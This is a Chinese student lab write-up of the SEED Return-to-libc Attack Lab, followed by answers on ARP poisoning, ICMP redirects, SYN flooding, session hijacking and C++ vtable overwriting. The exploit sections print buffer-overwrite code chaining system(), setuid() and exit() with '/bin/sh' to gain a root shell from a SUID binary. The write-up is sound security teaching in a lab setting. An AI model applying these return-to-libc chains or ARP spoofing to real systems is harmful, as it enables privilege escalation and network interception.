当前位置: 代码迷 >> 综合 >> 漏洞挖掘——实验10 Return-to-libc Attack Lab
  详细解决方案

漏洞挖掘——实验10 Return-to-libc Attack Lab

热度:60   发布时间:2023-11-21 17:17:28.0

漏洞挖掘前言

题目

Lab

Return-to-libc Attack Lab

Pre

1、名词解释:ARP cache poisoning,ICMP Redirect Attack,SYN Flooding Attack,TCP Session Hijacking。如果想监听局域网内另外一台机器,一般先要进行什么步骤?

2、阅读下面这篇文章并且了解Netwox/Netwag的基本操作:
Netwox/Netwag Troubleshooting guide 
http://www.cis.syr.edu/~wedu/seed/Documentation/Misc/netwox.pdf

3、解释linux用root执行下面两条命令
sysctl -q net.ipv4.tcp_max_syn_backlog
sysctl -w net.ipv4.tcp_syncookies=0

的含义和用途。

4、阅读Smashing C++ VPTRs这篇文章,阐述其原理。
http://www.phrack.org/issues.html?issue=56&id=8

5、考虑Linux环境下如何实现精确计算程序运行的时间,搜索下相关资料。

 

 

解答

Lab

Return-to-libc Attack Lab

Task1: Exploiting the Vulnerability

Step1:初始设置

关闭地址随机化,编译漏洞文件,注意设置栈不可执行但要关闭栈保护,并且赋予其SUID权限。

 

Step2:构造一个简单的badfile文件

使用vim构造一个badfile文件,里面只写入AAAA,这样方便我们使用gdb调试查看返回地址离fread写入处的距离。

 

Step3:使用gdb查看函数的地址

 

 

Step4:将参数放入环境变量,并获取其地址

把system的参数“/bin/sh”放入环境变量MYBS,并使用getenvaddr.c获取环境变量的地址。getenvaddr.c文件内容如下:

 

Step5:构造exploit.c文件

由以上分析得出以下代码:

  *(long *) &buf[24] = 0xb7e5f430 ;   //  system()

  *(long *) &buf[28] = 0xb7e52fb0 ;   //  exit()

  *(long *) &buf[32] = 0xbffffe7b ;   //  "/bin/sh"

编译执行exploit.c文件,生成新的badfile文件。

运行漏洞程序retlib,实行攻击。

可以看出攻击成功!

 

 

Task2: 扩充实验

执行

system(” usr/bin/id”);

setuid(0);

system(”/bin/sh”);

exit();

四个函数。

 

Step1:重新准备文件

将漏洞程序retlib、攻击文件exploit中的40换成120,重新编译、赋予SUID。

 

Step2:查看函数地址

 

 

Step3:寻找pop函数

使用objdump -d retlib命令

可以看到,在0x080485b8处有一个pop函数,我们就用这个。

 

Step4:把参数放进环境变量

 

Step5:构造exploit.c文件

  *(long *) &buf[24] = 0xb7e5f430 ;   //  system()

  *(long *) &buf[28] = 0x080485b8 ;   //  pop edp

  *(long *) &buf[32] = 0xbffffcf2 ;   //  "/usr/bin/id"

  *(long *) &buf[36] = 0xb7ed8e40 ;   //  setuid()

  *(long *) &buf[40] = 0x080485b8 ;   //  pop edp

  *(long *) &buf[44] = 0x00000000 ;   //  0

  *(long *) &buf[48] = 0xb7e5f430 ;   //  system()

  *(long *) &buf[52] = 0x080485b8 ;   //  pop edp

  *(long *) &buf[56] = 0xbffffe7b ;   //  "/bin/sh"

  *(long *) &buf[60] = 0xb7e52fb0 ;   //  exit()

编译执行exploit.c文件,生成新的badfile文件。

运行漏洞程序retlib,实行攻击。

攻击成功!!!

 

 

Task3: Address Randomization

打开地址随机化,理论是存在成功可能性的,但是由于随机的函数地址太多了,这个可能性是很小的,我执行了一段时间也没有执行出来。

使用以下命令循环执行漏洞文件:

sh -c "while [ 1 ]; do ./retlib; done;"

 

Task4: Stack Guard Protection

打开栈保护,重新编译并执行文件,发现攻击失败。原因也是很明显的,栈保护打开后不允许溢出,而我们的攻击只是绕过了栈不可执行,仍然是需要栈溢出的。

 

Pre

1、名词解释:ARP cache poisoning,ICMP Redirect Attack,SYN Flooding Attack,TCP Session Hijacking。如果想监听局域网内另外一台机器,一般先要进行什么步骤?

ARP cache poisoning:ARP缓存是ARP协议的重要组成部分。一旦MAC地址和IP地址之间的映射被解析为执行ARP协议的结果,映射将被缓存。因此,如果映射已经在缓存中,则不需要重复ARP协议。然而,由于ARP协议是无状态的,所以高速缓存可能会被恶意制作的ARP消息中毒(篡改)。这种攻击称为ARP缓存中毒攻击。

ICMP Redirect Attack:即ICMP重定向攻击工作,路由器使用ICMP重定向消息为主机提供最新的路由信息,主机最初具有最少的路由信息。 当主机接收到ICMP重定向消息时,它将根据消息修改其路由表。 由于缺乏验证,如果攻击者希望受害者以特定方式设置路由信息,则可以向受害者发送伪造的ICMP重定向消息,并欺骗受害者修改其路由表。

SYN Flooding Attack:这是是一种广为人知的DoS(拒绝服务攻击)是DDoS(分布式拒绝服务攻击)的方式之一,利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)。

TCP Session Hijacking:即会话劫持,是指通过非常规手段,来得到合法用户在客户端和服务器段进行交互的特征值(一般为sessionid),然后伪造请求,去访问授权用户的数据。

如果要监听局域网内另一台机器,带网络管理员的话直接在网络设备上面开启端口镜像,然后在电脑上安装Wireshark、科来网络分析等软件,对网络进行正常分析;普通用户的话,无论是路由器还是交换机连接,既然都是局域网内,那么监听嗅探的方法基本都是一致的,就是要用到ARP欺骗攻击攻击,然后再抓包。

 

 

2、阅读下面这篇文章并且了解Netwox/Netwag的基本操作:

Netwox/Netwag Troubleshooting guide

http://www.cis.syr.edu/~wedu/seed/Documentation/Misc/netwox.pdf

嗅探数据包工具:使用vmnet8作为用来嗅探的设备;通过查看本地信息,了解如何映射到Netwag中的设备名称;提供pcap过滤器来优化。

欺骗IP数据包工具:发送伪ip数据包它使用户可以完全控制ip头;在使用此工具之前进行ARP缓存中毒攻击

欺骗IP/ICMP数据包工具:允许攻击者使用任意IP参数发送任意长度的ICMP数据包、允许用户指定ICMP头参数以及IP头参数

欺骗TCP/IP数据包工具:允许用户修改数据包的IP头,TCP头和TCP数据,能用于会话劫持。

发送连续ARP回复工具:需要设备名称、以及源和目标IP地址以及以太网地址。

 

 

3、解释linux用root执行下面两条命令

sysctl -q net.ipv4.tcp_max_syn_backlog

sysctl -w net.ipv4.tcp_syncookies=0的含义和用途。

sysctl -q net.ipv4.tcp_max_syn_backlog:Tcp syn队列的最大长度,在进行系统调用connect时会发生Tcp的三次握手,server内核会为Tcp维护两个队列,Syn队列和Accept队列,修改net.ipv4.tcp_max_syn_backlog使之增大可以接受更多的网络连接。 注意此参数过大可能遭遇到Syn flood攻击,即对方发送多个Syn报文端填充满Syn队列,使server无法继续接受其他连接。

sysctl -w net.ipv4.tcp_syncookies=0:tcp_syncookies是一个开关,是否打开SYN Cookie功能,该功能可以防止部分SYN攻击。置为0则关闭这个功能。

 

 

4、阅读Smashing C++ VPTRs这篇文章,阐述其原理。

http://www.phrack.org/issues.html?issue=56&id=8

本文提到了C++虚拟指针,虚拟方法与非虚拟方法的一个不同之处是,非虚拟方法的调用是在编译时确定(通常称为“静态绑定”),而虚拟方法的调用却是在程序时确定的(通常称为“动态绑定”)。

首先我们构造我们自己的VTABLE,其中的指针入口将指向我们期望运行的代码(如shellcode等)。然后再使缓冲区溢出,并覆盖VPTR,使其指向我们的VTABLE。

 

 

5、考虑Linux环境下如何实现精确计算程序运行的时间,搜索下相关资料。

#include <sys/time.h>

int gettimeofday(struct timeval*tv, struct timezone *tz);

gettimeofday是计算机函数,使用C语言编写程序需要获得当前精确时间(1970年1月1日到现在的时间),或者为执行计时。它获得的时间精确到微秒(1e-6 s)量级。在一段代码前后分别使用gettimeofday可以计算代码执行时间。

它由于直接提取硬件时钟,所以得到的值很精确,但是因为此,这个方法只能计算程序开始时间和结束时间的差值。而此时系统中如果在运行其他的后台程序,可能会影响到最终结果的值。

 

 

  相关解决方案